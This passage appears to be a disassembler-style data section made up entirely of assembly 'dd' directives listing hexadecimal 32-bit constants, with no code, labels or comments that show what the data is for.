		dd 681D6977h, 0ABEA19C0h, 0EFB3F85h, 60C6CB54h,	84246C20h
		dd 7C60EB57h, 0B6F9F831h, 5BCD092Dh, 0ED0230A5h, 34870CBBh
		dd 574798FDh, 11DE8C9Bh, 0D75A034Eh, 36730980h,	500FC073h
		dd 22307A5Bh, 0A808E262h, 67406C98h, 15BF410h, 647D23A9h
		dd 0E8BFF24Dh, 0BD0E525Ch, 80B68F44h, 1F59F0C7h, 0E14B0C0Ah
		dd 5860547Fh, 7ABC0D03h, 6BEB19h, 3A98A4C1h, 7539A332h
		dd 0D5237900h, 6F45DC97h, 0E8763F14h, 0FEE69381h, 0D0641096h
		dd 653C4853h, 0BF1F0098h, 0A1E8230h, 0E8D93EFDh, 0C32068E7h
		dd 800074C4h, 0B83452B0h, 3001CE87h, 0FD79798Ah, 3C60A7E1h
		dd 648FC030h, 20FB806Ch, 31031414h, 80C51B7h, 830C4EACh
		dd 2867C4C7h, 0F7E918FDh, 56E44055h, 1CADE119h,	0A047531h
		dd 3D38B1ECh, 3E37E908h, 62D55803h, 0B041C5DEh,	3C34B229h
		dd 3D404CDFh, 2B8032Ah,	0EC7DC11Bh, 384265AAh, 0EB15A021h
		dd 97D1107Fh, 7C8DEE07h, 0E7BA0070h, 8DF58B6h, 63244DA5h
		dd 3A3EA7h, 0DC5A8562h,	1F4F6181h, 3A6987Ch, 393EF1D3h
		dd 35CB8900h, 5D8FC9Ch,	33D30D6h, 2016E519h, 0DA5A711Ch
		dd 0B7368100h, 6251EC5h, 0DFE69864h, 7203B131h,	0C6DBAD76h
		dd 0DD99E1A3h, 60E053C5h, 0DF031844h, 0E5BE2932h, 0E3922A1Ch
		dd 0FF100DC1h, 0F5C8CDF3h, 671124E4h, 18E09418h, 0F4D82607h
		dd 0BD76B0F9h, 0E6137584h, 2B0445F2h, 50898367h, 9260F5C4h
		dd 0A484A370h, 66C83C54h, 0C51EE680h, 7BBF490h,	0FD4EA72Dh
		dd 153700A4h, 0B4006A34h, 60D55A22h, 0C10C5B09h, 0F9035390h
		dd 570C2459h, 4ED48314h, 348D06CCh, 0FC186D05h,	183FEEACh
		dd 81281C99h, 900E104h,	605D4495h, 24A9E932h, 0B83501h
		dd 12B58A7Eh, 0CB30BBE3h, 3790505Ah, 463C1DC9h,	7944007Fh
		dd 9AE21645h, 1DB77400h, 6552A605h, 0E3C000CBh,	8A3860C7h
		dd 4503D7CDh, 0FDF7BE15h, 0C9FAA044h, 0F35B005Eh, 0FBC7BF1Eh
		dd 5FF05D86h, 5AA6B500h, 4CA40683h, 0D0220002h,	8A4060DDh
		dd 8C3874C5h, 0AFD8029h, 38CEBD2Ch, 6A081D15h, 454E02FEh
		dd 0E1C0C928h, 3C5C20F6h, 60612479h, 0B3A13D8Fh, 1F526804h
		dd 0FEB79CC0h, 0BD213A99h, 48C8092h, 883D95D8h,	1B0FCF3Ch
		dd 0AB1AF54h, 370884A3h, 20640561h, 25E84066h, 0A421F203h
		dd 76367400h, 1985FC6Ah, 7E4A0202h, 3F5FE9FEh, 17F3B048h
		dd 3EEB8409h, 0F99C2368h, 0CA0B685h, 790BBC7Dh,	0BC99C218h
		dd 0BFEF0D00h, 0C68328A7h, 796C1DA0h, 0B7B67B1Ch, 0A800C41Ch
		dd 6BD156C1h, 6020047Dh, 0C0018864h, 0EDB697A4h, 70442F01h
		dd 0F7A2C139h, 22986FC0h, 85000C3Dh, 887ADF3Eh,	1B2082h
		dd 0F1DD4F9Ah, 3721A2E8h, 7974C61Dh, 17C35740h,	608F025Bh
		dd 0D598A161h, 4F1350FDh, 50047E74h, 0B5021EF4h, 4C648F35h
		dd 0B96A1D30h, 0E8959258h, 66E9004Bh, 57B76FD8h, 0E201AC61h
		dd 0ECFBF526h, 67FD60C5h, 8BD43471h, 716560EBh,	0D7359B36h
		dd 0CBC96900h, 535523FCh, 0E4C30062h, 0EE6D7417h, 1D221AE3h
		dd 0C516006Bh, 0C3A99568h, 0AD3CD6FFh, 0FB00FC7Bh, 28F9156Ch
		dd 98A3B54Ah, 91317860h, 83DD02D4h, 706E5FF3h, 22A7944h
		dd 0E4D545E6h, 9840BF95h
		dd 0A770C072h, 0EAF06961h, 5600063Dh, 0F00044CCh, 63B8B40Ch
		dd 0E0EF4Ch, 8E2B6089h,	8AD5B15h, 664EC400h, 0F7570CCBh
		dd 63FD3134h, 0C0B8B689h, 0D207D59Fh, 47ECE181h, 12527E0h
		dd 9C28598Dh, 3AE3670Dh, 406D4271h, 2928BCA6h, 0F0093444h
		dd 0FCF6EEC8h, 76489A38h, 0CC8B88BCh, 0E005F928h, 3129266Eh
		dd 61013D18h, 23009D4Bh, 0B07EBAD1h, 0F26754D0h, 1F32019Ah
		dd 0B3847DE2h, 29C4043h, 0C010663Dh, 161572AFh,	0DF00A080h
		dd 0ACD24AC7h, 0DA095435h, 4181AF6h, 46406BACh,	0EF66CDDCh
		dd 0D4E8FB00h, 0F3FD450Fh, 299E1FB7h, 2BB2C2A2h, 70C8BDC9h
		dd 4F1BF9B5h, 0D2B1525Bh, 4868EC51h, 0D580783Eh, 4A8D4180h
		dd 3B2410F8h, 2C004A45h, 789F5FC1h, 946F394Dh, 5845187h
		dd 0C8DCF462h, 0E80C7498h, 0E0876A83h, 0ADFC138Bh, 0D7BC400Ah
		dd 8F114863h, 3A5C4048h, 5B50F068h, 204C95C4h, 0A808D6A4h
		dd 56D8065h, 0E4DC9C16h, 6292F100h, 0F30F114Ah,	385990BCh
		dd 0B898BFB5h, 5D36486Eh, 0D1533106h, 6786401h,	207E48A6h
		dd 4F045167h, 58343E2Ch, 0A09FF483h, 48C60E68h,	450AC1CFh
		dd 8184073Dh, 7293A9AFh, 0C580C78Eh, 0F500A88Ch, 45E00D0Ah
		dd 0F6655B3h, 306CDDAFh, 0D9BB0906h, 7C8F200Bh,	8570AF8Bh
		dd 20814D32h, 0A072B802h, 47901D26h, 0F5C00FCCh, 0B34C3389h
		dd 0DABABE01h, 0C2CD1EDh, 0C3087870h, 0D8A72041h, 4C98E8A6h
		dd 2543A820h, 7820EB51h, 0B7CCAEE8h, 0ADB33B00h, 69E28909h
		dd 0E1980E85h, 17FA3BBh, 0DDD12B38h, 0C8CC5035h, 6959E936h
		dd 34B80090h, 8B0980D0h, 0BED0C12Eh, 69B71DFh, 25C331E8h
		dd 1767B719h, 0E0F882B2h, 0A836E058h, 4C3BEA0h,	34CFE398h
		dd 8B1CCCFFh, 244BDF20h, 86BCB7EBh, 7167D9FDh, 1D332AE8h
		dd 0F8A33161h, 3918F6Dh, 9B955FD7h, 0C9835A5h, 0EC778B36h
		dd 2E600B59h, 0E089C0F5h, 0A2482034h, 3934312h,	23C08594h
		dd 6EF8EC60h, 0D18BE4Eh, 9A2933DFh, 0E3CEA81h, 292CE97Eh
		dd 5C277640h, 15006433h, 0B5365DF8h, 30DC101h, 626E30E2h
		dd 0E96C02E3h, 0F349F2h, 761D96BAh, 85297E92h, 13D47C04h
		dd 10CCFD9Fh, 40D00088h, 7BBEDEC2h, 0F4002DDAh,	3B8B58BAh
		dd 0E9B967D2h, 48645182h, 8CA59BE9h, 9798C8D9h,	0B13EC500h
		dd 36FD50D5h, 910F0E53h, 22E1634Eh, 11788401h, 14C32A09h
		dd 9439480Ch, 0C768900h, 3FDFED25h, 0EE2988h, 3E7521EAh
		dd 0BE3B0FEFh, 964939h,	87712D6Eh, 140B433Ah, 64443E02h
		dd 1A057407h, 7BB73063h, 0E4F91B46h, 0DB013B96h, 34C76443h
		dd 8894B8F9h, 0D901A077h, 7383E23Eh, 6C42C5Dh, 0EC06797h
		dd 1DB61C89h, 20C796AAh, 7DB5AEE8h, 2093E7FAh, 46CEB08h
		dd 0B2DE624Ah, 501C8078h, 2CB1F35h, 0C2854839h,	0B181F5A5h
		dd 42101DFCh, 0D786E384h, 7E02896Bh, 318F0133h,	5DD04957h
		dd 0A8038017h, 0FA01FDFCh, 6727E972h, 0A1B2F0BFh, 3C412970h
		dd 5CC70B6h, 158EE3Fh, 1365E62Fh, 0B830B575h, 0E2749074h
		dd 2064A4E3h, 0B7125887h, 448117FCh, 0F744F385h, 0E949A088h
		dd 8F834E00h, 78952230h, 0D20DD667h, 6C2C08F9h,	0D5406544h
		dd 62662DA3h, 811CE900h, 46C1079Dh, 0D3990148h,	0D7BBDDFAh
		dd 15689477h, 4782920h,	8343FCAh, 0BC512481h, 0B395041h
		dd 94F3DB00h, 9E0B64Dh,	2015DA67h, 408AFBC8h, 3D5C987Eh
		dd 0C96BEAAh, 10C30060h, 195B825Ch, 0EB57810Eh,	0A488D422h
		dd 0C1B65083h, 0D90475BBh, 591FFC14h, 0BF0AC88h, 0BDA6D3ABh
		dd 0BE5A3882h, 1C9A2C60h, 30B0102Bh, 0C440BFC4h, 0CAE16C3Ch
		dd 0F521FB00h, 9BB21C8Ah, 0B5120C19h, 5929CBFCh, 1E5C2549h
		dd 0A693E3F8h, 38C4A880h, 28E95101h, 0A195B402h, 0D2FB58Ch
		dd 0AC008825h, 0A0701CBAh, 0A41BE38Ch, 0B81D5208h, 279FAC42h
		dd 7CF64020h, 5D5911FEh, 909E0610h, 379C3FCh, 0F6CD525Ah
		dd 2150A111h, 5544F940h, 8D58151Bh, 0BE0918C4h,	0E8A19EA7h
		dd 9134D3FBh, 59001371h, 0A87DFA71h, 7A034B83h,	0C55D0942h
		dd 8AD0205Eh, 95419660h, 9222DF1Bh, 0D56C0520h,	405F4755h
		dd 0ACF8AEA8h, 7714966Bh, 22986557h, 0E3DB11BBh, 1D100898h
		dd 0DF9D8E0Ch, 3D904017h, 0ACD17EA5h, 0B1997600h, 865DB15h
		dd 0E59B894h, 84747D75h, 0B3FB0016h, 8BB63021h,	8393AD00h
		dd 8A721F47h, 0D724007Eh, 1BA99DB8h, 763E9BCCh,	3A0B8363h
		dd 0E8A0C968h, 6A57C90h, 97BB412Dh, 61EC401Fh, 8B4320h
		dd 5EB0B8D9h, 549BDEEDh, 4188701h, 81CF4C07h, 0C0DCC0h
		dd 0A64131A0h, 5594ADCCh, 7F614E01h, 0D3257E95h, 175EAFD8h
		dd 22A1C317h, 4B531CCh,	0F82A5Fh, 0AD62D2E0h, 9BCBEDA4h
		dd 16967700h, 0C7407FCh, 0DDC200C1h, 2B296A6Dh,	1F17D1BBh
		dd 1200846Eh, 27D44750h, 0AA40C5D7h, 525CC015h,	400095Ch
		dd 97CF4D0Ah, 54A3D1h, 437029A5h, 9A6C5078h, 4F653600h
		dd 0D7287EB3h, 0AFB70064h, 7C6319ECh, 42C01E5Ch, 0F675CF68h
		dd 0A07906C1h, 4EBA92D5h, 3A883007h, 0D4408065h, 7C6FED28h
		dd 1A0213B7h, 405E196Ah, 4B383136h, 0DAC1AE94h,	0D8AB77D3h
		dd 9A05CBEBh, 4105C76h,	7ACFE780h, 0C0A307FAh, 402B31B0h
		dd 8A95A18Bh, 41C4700h,	0D7DED196h, 0B1B8007Fh,	861C2D8h
		dd 0A011663h, 90033307h, 0ADE4ACCBh, 5E4C0EECh,	96EE5B9Bh
		dd 48381BC3h, 61104072h, 6F00B4A5h, 4718208h, 9003302h
		dd 6EC7FD84h, 0E57EEA1h, 9A1FCFC0h, 436C4C20h, 9C00D295h
		dd 5E9961C8h, 265C9D8h,	0FE718153h, 8CCD2102h, 0B5AA405Dh
		dd 0B803ACE0h, 0CC02A9ABh, 2098F070h, 217602FBh, 0C5C36ED0h
		dd 0C044DF00h, 6FAD00CAh, 4320F582h, 0DB007E96h, 70B87BACh
		dd 61DAE3h, 3106C49h, 7D744F36h, 7ADEBB00h, 0BF23EEA6h
		dd 635D00C4h, 801FE27Fh, 9C00D34Ah, 0B3B062D8h,	160C611h
		dd 16025C4Ch, 0C8CF7475h, 5300AEC2h, 0AC2DEE9Fh, 0E9A5E8Bh
		dd 4F1D3C96h, 0BA9580E3h, 0D85DAD98h, 5400B1B0h, 405C387h
		dd 0FE8D3261h, 44ACB0B0h, 6B09A827h, 521B4B84h,	4045634h
		dd 79ECFFh, 97ABA8A3h, 9D44A2BBh, 0A1CCA702h, 0D18677A0h
		dd 99005C2Ch, 768B6BB0h, 98A046h, 579DABCAh, 9C2F1891h
		dd 8E08485h, 0E48B025Eh, 64F0CDh, 2520EE52h, 37B540EBh
		dd 7E38C306h, 395A1Fh, 0ADCD4F76h, 7C304CDDh, 8CCD572h
		dd 79C2169h, 0FC87CD46h, 0ACF59447h, 6B1BA060h,	0B4D501BFh
		dd 60F7346Fh, 0EDBAD0ACh, 1EA1C01h, 4DF37F3Dh, 0F665C4h
		dd 5E304711h, 809F3160h, 0B620DB7Eh, 8C04005Dh,	0FE7D416Bh
		dd 54BEF016h, 63D4B780h, 0E47A57EFh, 0AF682BC5h, 2D65101Ch
		dd 0E1B8A1CFh, 82E0C893h, 2B01003Ah, 0F51B50B2h, 63066034h
		dd 0F9BD9CC4h, 45E0668h, 0D1353EAFh, 36611100h,	5B88BFB6h
		dd 0CB85E5Ah, 7A210A70h, 8E367900h, 7DBF32F8h, 800F4A8Ch
		dd 117664B0h, 48580725h, 957914E4h, 32B0B88Ch, 30676F44h
		dd 0BEE1CCDAh, 766010A7h, 3F11FB28h, 8890AB32h,	973715FCh
		dd 918C2Eh, 29C3CD64h, 18E38ECAh, 58620BBBh, 2C0AF86Ah
		dd 687C9C20h, 7338C405h, 0CD50F860h, 44DD23B0h,	95077011h
		dd 1996CD47h, 0F4FE0105h, 84107DA0h, 8005CDBh, 0F3BDB6E8h
		dd 117ACA7h, 0A0926753h, 939C7656h, 0BFB0E4E0h,	0A2005FF2h
		dd 5802065Ah, 953EAD7Eh, 2AF0FCA0h, 0A0005367h,	75498959h
		dd 0F139229h, 12197658h
		dd 0B4986880h, 0F1E07388h, 4253720h, 0CBFCB74Eh, 830A842h
		dd 9638F93h, 60101FB4h,	0D7F4E9BDh, 10029D00h, 30EAC5B3h
		dd 0CC9B0721h, 90D33771h, 46ACC0DAh, 0B4AD6500h, 0B6AA6448h
		dd 4B62F057h, 4164D1D9h, 4E85E07Eh, 0BDE6E0C1h,	0F050FCBFh
		dd 247D9E1h, 5F605D72h,	284CAB04h, 0B2366504h, 763868BFh
		dd 0E2367D00h, 0E3126A3Ch, 20B325CBh, 0BA9CC868h, 984B4C00h
		dd 73587CF2h, 95DB0056h, 0E7F4BDA6h, 49C0403Dh,	5EA1D1Fh
		dd 598802A4h, 0C8F674Eh, 7701D45Ch, 5E356BF0h, 0BC8504Bh
		dd 0A2C7D3C0h, 4B1A7BF6h, 0C29CD0EBh, 761F7943h, 827AE026h
		dd 0CFF5D6B0h, 0EA889BE4h, 7B044809h, 267D3FEEh, 0E099A0AFh
		dd 250267Fh, 0DD94CD54h, 107331A4h, 0CD4B99h, 4CF6A6D0h
		dd 3BEBF50Eh, 0C488984Fh, 0D7F00F1h, 29556707h,	273EC008h
		dd 6A0075F9h, 6EE9C9CDh, 75B5C9Dh, 0A8583D83h, 24C0AF01h
		dd 0BBDD7795h, 445E732Dh, 405B205Ch, 0FB8AFA01h, 750A1EA8h
		dd 990423Fh, 8B003F3Bh,	4725C5h, 0A6A80E64h, 662FD946h
		dd 0ADF06879h, 68B10127h, 1EB495A4h, 69DBA50h, 1976EC48h
		dd 0F5AD580Eh, 1CA20366h, 0A8A8B410h, 0B5217031h, 0EB5CE8A5h
		dd 20F41E71h, 30975F4Ah, 47E8F920h, 0E73425F7h,	0B7C0D448h
		dd 8420ED3Eh, 89CC8B4Eh, 0C5C49892h, 6070E404h,	981DE3Ah
		dd 8F5D4B5h, 4CF6445Ah,	4300381h, 34848A78h, 367B60A5h
		dd 8CBF7FB4h, 73EC0945h, 0A8100036h, 3059E1E6h,	600A0F90h
		dd 0B8698F02h, 2C1BF141h, 68A76600h, 0D07020E3h, 147821C0h
		dd 1E2863B3h, 22C7B662h, 0B522A090h, 70109F55h,	6C000B35h
		dd 0C442A2DCh, 7FDE40Ch, 0C6E934D1h, 9E6602Eh, 993C643Fh
		dd 983BDD5h, 0A4038B56h, 0FC0063B8h, 0B5AFF251h, 5E50C715h
		dd 6462238h, 0E0A97796h, 24001110h, 8B531B91h, 0E6357A83h
		dd 0E408D2BBh, 0AC014F10h, 0FEF3071Bh, 86487F1h, 600350E9h
		dd 83D88B64h, 0C400DC66h, 0C1A35281h, 6D26288h,	0B7BFB514h
		dd 9A0091D0h, 0FE739713h, 0C0314FD9h, 39B3EE50h, 8D144380h
		dd 23D85B37h, 367C01A8h, 1850BFADh, 74718810h, 0EB843600h
		dd 686FD9ECh, 0E42D05B5h, 0A257BBh, 20D2DD90h, 0C6120138h
		dd 4CE2FA0Fh, 74FCAB24h, 0B7E6F46h, 1FF412EBh, 7FA24C10h
		dd 172C1E01h, 84D8A7BFh, 3093D020h, 0C9A93C3Eh,	5202C84Bh
		dd 67A57448h, 0F02CE4B1h, 0D020F1AEh, 575406FEh, 79E3AF66h
		dd 0E6BDC01Fh, 3951560Ch, 65EC2068h, 0D5AC0400h, 0A8B392C8h
		dd 34530030h, 8F7FB26Bh, 270DFF07h, 504E8D8Ah, 7C1C206Ah
		dd 9400D54Ah, 179B621Ah, 26849CE7h, 2A344EB3h, 5CA07F4h
		dd 49F90B50h, 0EEC10D8h, 1DC9010Ch, 37671016h, 13C10D83h
		dd 8FC02CCFh, 631FD5E0h, 4A139E0Ah, 0F5B72860h,	8CD2E064h
		dd 7ABF5144h, 624A00AFh, 0E0D3873h, 420A02BAh, 34B16628h
		dd 0F3402547h, 101A5A8h, 4DB226C1h, 978DFC8Bh, 840863A9h
		dd 34133D61h, 5508E014h, 1974E090h, 0B0309581h,	0CA46405Fh
		dd 601DFC3Fh, 0F2B89928h, 0A6BE00E2h, 123BD20h,	0A9C76EB6h
		dd 0FBD5ACA8h, 0A4A8C085h, 386CC880h, 71029F21h, 0C61A1FF9h
		dd 4B3AC11Bh, 1D83B030h, 49417A7Bh, 70046769h, 366260AAh
		dd 0A0BF23B7h, 3C670F11h, 802AC436h, 21D931C2h,	0FE96316h
		dd 123268E0h, 7B40DAh, 0BBE80968h, 8124F8ABh, 0B011F83Ah
		dd 521B9281h, 3931C68Bh, 1BA94A10h, 0E453A00Ah,	0CD01B436h
		dd 89502976h, 206B9421h, 0C6AAD064h, 7BB4202h, 0E372799Eh
		dd 90A6E286h, 1136666Ch, 8880BFB3h, 7E778205h, 10612E36h
		dd 0C4C1A724h, 9B6D0074h, 0E277A2EEh, 40007F39h, 2E4ACD92h
		dd 464207Ch, 0FCD91634h, 0D478C3B3h, 677500DCh,	8377EABCh
		dd 0EC44FD8Ah, 80EEC001h, 7BBBE3E2h, 0B7EC9C34h, 8682CCA0h
		dd 20037506h, 1F65C8E2h, 0D2390064h, 84D310A2h,	8801D9ADh
		dd 0AEFCBD54h, 0C9874C3Dh, 22A7E3EBh, 0D680B6C9h, 5350AEFh
		dd 6B1896EAh, 1F29043Dh, 0FFBF0061h, 0DE5B44AEh, 0C902C35Eh
		dd 50BA31CBh, 41C7E8Ah,	0A03A3BF1h, 7420BFDCh, 0C0B05162h
		dd 4546CDEh, 0DDAFCD49h, 226D627Ch, 0DF854896h,	44DE01BEh
		dd 285CB82Bh, 3CD54FE0h, 30693487h, 111B9710h, 88F38B51h
		dd 0AA49803Bh, 972DE61Bh, 14A1063Bh, 82F8DD67h,	6146FDB1h
		dd 3003B4h, 0AE1C8C41h,	9A117BF5h, 0B88F5388h, 993540A6h
		dd 7FB50D3h, 2B1CCBA1h,	58F899C9h, 902FB54Bh, 0D2010923h
		dd 0AC43CCC1h, 7411C5F4h, 3B8B8FFh, 3490CD59h, 2C721DB0h
		dd 8EEF0278h, 81C31091h, 3B81FCB6h, 0D4492095h,	6EB87090h
		dd 26951D8Ch, 2A598080h, 0F0BFBDB0h, 0FC835D4Eh, 77282D19h
		dd 0DB004444h, 94FC345Ah, 0E90F3Bh, 6857D3FEh, 0FBE6C4B4h
		dd 0ADC5C201h, 0AE981FD6h, 947FBBCCh, 42D02618h, 89C0FD1Ch
		dd 98B75D72h, 0B6B4D0h,	9FE424A6h, 0C3B2952Bh, 359DF40Fh
		dd 314682E8h, 8044F6F6h, 4534F50Ch, 652DC5E3h, 99AC40AFh
		dd 8F0F2614h, 84C42784h, 21DCF00h, 9ADDDF6Eh, 62A212F2h
		dd 30C8C9DBh, 0DC98E644h, 35B52E04h, 8C8480A7h,	0B759A80Bh
		dd 0F28484D4h, 0E127C7ABh, 600F3FC5h, 1EE2A844h, 0B8184B89h
		dd 2361F538h, 1E6C11CAh, 3B80B0BAh, 2BEE50Dh, 27C0B0A8h
		dd 6017E7FDh, 14806991h, 7B840199h, 209A61CFh, 0D9E15AE7h
		dd 77CCAB77h, 0DFCA2DB8h, 0D5B86048h, 0A3730E00h, 8E14E9A6h
		dd 0E0CAC04Bh, 6A88D0CEh, 0C42BFE28h, 4F80C600h, 4C1FF7B4h
		dd 29E91301h, 0EF44911Eh, 0B31064Bh, 0CD53B783h, 1110E850h
		dd 3E02571Bh, 84658BC4h, 0E4A79C9Bh, 348087C7h,	3E430242h
		dd 5708A4C9h, 65C35892h, 6072E44Ch, 7D03B8h, 0A3A20984h
		dd 0EA67C17Fh, 0D89DF329h, 28186E79h, 0E9F70600h, 1AD3BA5h
		dd 6720A08Eh, 6ECA380Fh, 2F9F090Dh, 4C313EF0h, 44C63DA1h
		dd 30840FB8h, 58E1B122h, 0E3BC291Ch, 99E0C8FDh,	0FA7E4CE2h
		dd 5080C0B9h, 0A15E5362h, 0E7B10024h, 4AA01643h, 4B07983Bh
		dd 5A05B3C2h, 50603F40h, 11CE046Ah, 80A76E2Fh, 6607B6B4h
		dd 0A0C8685Bh, 6FBE0009h, 4E579BD7h, 0F1D3FE7Ch, 802D8C32h
		dd 2E5988EBh, 4EB70011h, 5AC689BDh, 3F066CC3h, 7E16F0C7h
		dd 265F1C51h, 23CD8045h, 0A7FBBC91h, 77B54D02h,	68B6C8E3h
		dd 0ECA574F0h, 0A9C914BEh, 4516EDB3h, 0F0B0A43Eh, 2BA50500h
		dd 0BCF4744Eh, 88103BC9h, 71522680h, 9583EDE6h,	666B5502h
		dd 0E750AEADh, 603C443Ch, 71223D8h, 3734CAE1h, 0FCDAC12Eh
		dd 0DD44277h, 0B5076CECh, 4D1E228h, 0F3091240h,	0C05F24B2h
		dd 49282460h, 69C46865h, 0E3BC1E60h, 599B8B12h,	70580C8Ah
		dd 8C0FE8h, 0F36F8C6Bh,	6758AABDh, 0B6D11702h, 0D401E1ECh
		dd 66D38814h, 37BD6C00h, 5AC97003h, 7794818Fh, 0AB5DE0BFh
		dd 0AEE7BE07h, 2C2058B6h, 0ED26F3E4h, 62633884h, 5B5488DEh
		dd 6632C61Fh, 0C0D818A5h, 45EE12B7h, 0E3D48C08h, 2A77F112h
		dd 80F32483h, 0BF37BB11h, 7EECB4A2h, 0C604A40Ah, 0F88E25B8h
		dd 23C06F88h, 12973F3Dh, 34CFE299h, 0FA77C078h,	110632DFh
		dd 612CB7BFh, 50930170h, 0DA670FF7h, 2686489h, 3958B731h
		dd 24293E98h, 496A8400h, 97D4CFC3h, 0E9E666FAh,	0B945D318h
		dd 6E0990h, 0C3B7B850h,	30FB6B95h, 7F442E9h, 5824EB22h
		dd 0D97D0A0Ch, 17800D17h, 1FB0B246h, 3380D480h,	921BB73Dh
		dd 593B0066h, 0DCFC0BC9h
		dd 7B02D8D2h, 61CCB54Fh, 83ECA11Ch, 52075C73h, 0ECC8D539h
		dd 8D0BB50Bh, 900D2C34h, 88708F3Ch, 0EC000E98h,	1F8AFED0h
		dd 0B66D78DFh, 0EDC000DCh, 0A144298Bh, 0D902F9C0h, 0B672DA25h
		dd 195518E4h, 0FC2ABF20h, 0E830DC60h, 835B193Bh, 0CF6B1305h
		dd 46B40863h, 68F5B3C1h, 9023B2C1h, 0F87ABE94h,	0B76725A4h
		dd 2184C8A0h, 40025E43h, 4CAE39Ah, 3FC45AE9h, 205A93DDh
		dd 0A7FF160h, 94ADE080h, 0F8340F40h, 0AF144B32h, 6B148882h
		dd 18680B0Bh, 1330B664h, 8546F3DAh, 0D90C06E8h,	5100D9BDh
		dd 102BF86Ah, 502CC55Fh, 40E9C457h, 0EE05C020h,	5C141361h
		dd 27B58420h, 76CE00DCh, 845D9607h, 12F3EB1h, 0F5E0C890h
		dd 8DC80333h, 5DDFA0D8h, 3703897Dh, 7C82B836h, 8A30761Ch
		dd 51E408E5h, 5CD17C60h, 400325E4h, 5F3D8682h, 0D5E9F0A0h
		dd 8F010B9Dh, 384A57C2h, 0A029D762h, 0D4B53C68h, 8238B948h
		dd 70C2EBh, 48AD2FB6h, 0F1D10D0Ch, 5B42006h, 82A4C7B5h
		dd 150CA41Eh, 54CC8B88h, 0BB6DCA5h, 1F29E5B8h, 8002B871h
		dd 5897E946h, 3159044Ch, 8CC1FF85h, 2605B6E4h, 6739145Ch
		dd 0B9E750E0h, 530202FCh, 68C025FEh, 6C07D5ADh,	0DF267330h
		dd 0A0F41DC4h, 0B7F50F81h, 88132DFCh, 0E7296768h, 304F40Dh
		dd 68D259E1h, 81C4F43Dh, 0C2D2C144h, 0A70630A6h, 0E1892801h
		dd 950D2A8Dh, 0B1CC6D6h, 3C61E48Bh, 8024007Ah, 1740401Fh
		dd 4CAA02DEh, 3300FF42h, 98EECF55h, 68B04EB4h, 5BEA638h
		dd 72EB57ADh, 1865E4F8h, 937498ABh, 8B4D1B1Dh, 0FAB01627h
		dd 7F1B00A6h, 0B8B57DBFh, 60F91DFAh, 0A925E4C4h, 0BC749306h
		dd 3B406762h, 8CBC98BFh, 807F7C58h, 0E0989837h,	14BC2CF8h
		dd 1F67DC84h, 9A20F830h, 9B286362h, 76590023h, 855C7EA7h
		dd 82DC1350h, 0D46B58C0h, 80C25E2Ah, 95EEFB70h,	50E0724Ch
		dd 20419DF4h, 5D81702Ch, 0CC3AB846h, 3600EC81h,	0F71047E9h
		dd 5A81F57h, 7A60BE13h,	68B8E183h, 8C74BCFCh, 0EDA38B00h
		dd 2D6B58E4h, 41FE5E34h, 0F9BDB63Ch, 6E9CECF7h,	0BF7ED9F8h
		dd 0E3A0B1BDh, 0BFB0283Ch, 6C591CC7h, 8367183Ch, 0C3531D1h
		dd 5CB56638h, 0A800C611h, 9A5DBC33h, 9892DED5h,	0F78B12E2h
		dd 0A508224Bh, 6A1BAD30h, 0C408B64Fh, 0A843403Ah, 3FE20B1Bh
		dd 2F3DE402h, 16C448E8h, 0FC3002BFh, 60D00EE1h,	10F4E9D4h
		dd 2B3F6B9Eh, 911B9597h, 2A688280h, 0C92CEC27h,	38DD0251h
		dd 0B4BA31BCh, 629EA8E9h, 3153F200h, 23BCD025h,	0F278DC7Bh
		dd 6CCD6903h, 923490F1h, 17A47120h, 78F74Dh, 1CE3E51Bh
		dd 7AEFFA3h, 0BFA5725Ah, 93D20EAh, 4328F077h, 515ED83Bh
		dd 1EF48C20h, 327000A3h, 9B8286C1h, 251F8C30h, 0B1C0EFACh
		dd 2D16D760h, 0BE524D1h, 474A4A0h, 211F7628h, 2466779Eh
		dd 885E2A3Eh, 5F8955ACh, 0B6E0F076h, 7B39D5B4h,	628B8B60h
		dd 0C84F9E2h, 57D872E1h, 0EC225F81h, 0D0330FF2h, 1648FCD8h
		dd 81E8A8Ch, 28B3DE8h, 8E604A8Dh, 929F2E48h, 48420404h
		dd 7C54F534h, 8C10BCB8h, 26655900h, 342FE30Ch, 0B7321C37h
		dd 0B07F148Fh, 12967B13h, 80C0ACF4h, 5EC7984Bh,	33720085h
		dd 6F4E10BAh, 9600C4BEh, 0B87151DAh, 0A474788Fh, 9FD1620h
		dd 2705327h, 7FE14518h,	84026854h, 0C0B8F3B7h, 38149A5Ch
		dd 55007062h, 0E42FC102h, 0FCBE9B93h, 2365D09h,	5C7BA4h
		dd 949ECB5h, 772490B2h,	47117C10h, 65F5B483h, 7454AA82h
		dd 0F4ACB658h, 8AAB0EE5h, 0A092529Eh, 0D9724E64h, 0E045312Fh
		dd 27CB2800h, 24A016C1h, 0EBA02EEh, 7AF1D000h, 0EC940376h
		dd 0C84C1FCBh, 0B553C055h, 0E198AD0Dh, 91A88318h, 9EF531B0h
		dd 0A10F84BCh, 0F260808Bh, 38B846E5h, 0A79B722h, 242311FDh
		dd 36EB0F90h, 0DE3C9501h, 76002064h, 88700CE9h,	61E8BFBEh
		dd 0D3C4A295h, 48D91232h, 40180959h, 0B14D8A00h, 8E5B78Bh
		dd 2CB9043Ah, 0D2D3F1E3h, 38E1B6BCh, 88CC6C6Ch,	0A4A8A678h
		dd 1BB0C094h, 0BB5B8B50h, 3F443C2Ch, 0CA801BA7h, 0E1F260D8h
		dd 0F97F20h, 66AEDC0h, 0C1EBE218h, 0C952F892h, 0E3781F94h
		dd 0C944C0Ah, 0C10127C1h, 2F93E2CCh, 18A263CFh,	64660EE8h
		dd 0A55B220h, 3A9BE9E3h, 75D8086Ch, 0B0A80564h,	0F8C3BF8h
		dd 0EE75125Bh, 0E1FE61A1h, 90C6863h, 39F5EAh, 43F86A08h
		dd 5284F94h, 0B69D6368h, 3732B040h, 0C7A903B6h,	0BE0E51Fh
		dd 0DEEF8900h, 942ED2E7h, 90017950h, 6C4D3EF4h,	0C812B848h
		dd 0BCBD1Fh, 69136A92h,	74A0D885h, 741500E9h, 664DF9C6h
		dd 0FFF05AF8h, 7525BC0Bh, 0E518E8ECh, 221D0C6Bh, 5D7E4BB3h
		dd 0C89E0976h, 2C2CB02Ch, 7E7B9304h, 59E38491h,	4805BA14h
		dd 6087B695h, 0C8107E74h, 0C2D1B10h, 6967EB58h,	0DF4000E0h
		dd 0FC1E94E5h, 2F077239h, 693DC4B2h, 7C832234h,	27914A3h
